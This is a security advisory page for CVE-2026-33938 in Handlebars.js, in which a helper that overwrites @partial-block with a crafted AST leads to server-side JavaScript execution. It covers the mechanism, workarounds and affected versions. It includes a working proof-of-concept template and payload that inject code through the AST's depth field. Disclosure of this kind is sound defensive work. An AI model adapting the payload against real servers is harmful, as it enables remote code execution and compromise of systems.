GHSA-3mfm-83xf-c92r

Suggest an improvement
Source
https://github.com/advisories/GHSA-3mfm-83xf-c92r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3mfm-83xf-c92r/GHSA-3mfm-83xf-c92r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-3mfm-83xf-c92r
Aliases
  • CVE-2026-33938
Related
Published
2026-03-27T18:20:44Z
Modified
2026-03-30T19:29:28.837294Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
Details

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
  • Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
  • Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-843",
        "CWE-94"
    ],
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "github_reviewed_at": "2026-03-27T18:20:44Z",
    "severity": "HIGH"
}
References

Affected packages

npm / handlebars

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.7.9

Database specific

last_known_affected_version_range
"<= 4.7.8"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3mfm-83xf-c92r/GHSA-3mfm-83xf-c92r.json"